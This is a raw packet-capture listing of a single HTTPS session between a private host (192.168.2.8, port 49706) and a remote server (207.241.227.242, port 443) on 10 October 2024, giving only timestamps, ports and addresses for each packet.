Oct 10, 2024 09:29:03.132800102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.132826090 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.132838964 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.133285999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.133307934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.133342028 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.133347034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.133371115 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.133388996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134533882 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134557009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134594917 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134598970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134627104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134644032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134881973 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134901047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134928942 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134932995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.134962082 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.134975910 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.189059019 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.189089060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.189165115 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.189174891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.189203024 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.189222097 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.206715107 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.206748009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.206796885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.206803083 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.206842899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.220801115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.220833063 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.220886946 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.220891953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.220931053 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221168995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221194029 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221220970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221225977 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221251965 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221266985 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221564054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221587896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221621037 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221625090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221651077 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221668005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221823931 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221842051 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221879005 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221884012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.221911907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.221925020 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224096060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224122047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224176884 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224180937 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224215984 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224227905 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224410057 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224432945 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224462032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224466085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.224492073 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.224513054 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.227925062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.277673006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.277707100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.277838945 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.277868032 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.277904987 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.295336008 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.295372009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.295444965 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.295475006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.295488119 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.295510054 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320388079 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320413113 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320463896 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320471048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320501089 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320518970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320538998 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320554018 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320586920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320590973 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.320616007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.320627928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.321733952 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.321757078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.321794033 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.321800947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.321825981 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.321846008 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.322422981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.322441101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.322482109 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.322485924 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.322513103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.322531939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.326864004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.326885939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.326924086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.326927900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.326966047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.327374935 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.327403069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.327430010 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.327435017 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.327462912 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.327476025 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.366281033 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.366305113 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.366364956 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.366372108 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.366417885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.384295940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.384320021 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.384370089 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.384381056 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.384409904 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.384423971 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.409157991 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409183979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409229994 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.409240007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409260988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409281969 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.409284115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409296989 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.409316063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.409343004 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.410387993 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.410413980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.410458088 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.410464048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.410485983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.410500050 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.411236048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.411252022 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.411284924 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.411288977 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.411310911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.411325932 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415501118 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415524006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415566921 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415589094 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415604115 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415627956 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415842056 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415860891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415894985 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415899038 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.415923119 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.415942907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.454911947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.454940081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.454986095 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.454999924 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.455044985 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.455053091 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.472994089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.473026991 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.473119020 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.473134995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.473174095 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.497818947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.497847080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.497905970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.497924089 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.497932911 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.497980118 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.498009920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.499031067 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499054909 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499094009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.499100924 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499119043 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.499861002 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499895096 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499913931 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.499918938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.499948025 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.504125118 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504148006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504184961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.504193068 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504224062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.504493952 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504514933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504545927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.504550934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.504566908 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.543581963 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.543606997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.543651104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.543663025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.543697119 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.561815023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.561847925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.561913967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.561950922 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.561964035 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.586561918 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586587906 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586623907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.586647034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586667061 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586671114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.586688995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586709976 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.586714983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.586739063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.587707043 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.587727070 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.587779999 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.587788105 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.588568926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.588594913 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.588624001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.588629961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.588665009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.593208075 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593233109 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593267918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.593291044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593317986 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.593341112 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593363047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593399048 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.593405962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.593425035 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.632555962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.632594109 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.632642031 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.632673025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.632688046 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.650394917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.650424004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.650451899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.650480032 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.650495052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.675020933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675041914 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675093889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.675120115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675143003 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675159931 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675188065 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.675194025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.675220966 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.676356077 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.676374912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.676409960 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.676439047 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.676455021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.677160978 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.677186012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.677206993 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.677227974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.677253962 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.681564093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.681615114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.681624889 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.681652069 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.681675911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.681945086 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.681967020 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.681993008 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.682004929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.682018042 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.721215010 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.721236944 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.721287966 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.721317053 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.721328020 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.739065886 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.739104986 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.739135027 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.739151001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.739166021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.763971090 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.763991117 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764048100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.764050961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764080048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764094114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.764100075 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764116049 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.764121056 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764144897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.764173031 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.764916897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764933109 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.764987946 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.765008926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.765050888 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.765661955 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.765677929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.765727997 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.765748024 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.765784025 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.770345926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770360947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770412922 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.770438910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770456076 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.770474911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.770623922 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770641088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770694017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.770701885 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.770745039 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.809895992 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.809922934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.809973001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.810005903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.810024023 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.810048103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.827617884 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.827646017 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.827693939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.827723980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.827744007 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.827764034 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.852582932 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.852608919 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:03.852684021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:03.852688074 CEST	443	49706	207.241.227.242	192.168.2.8
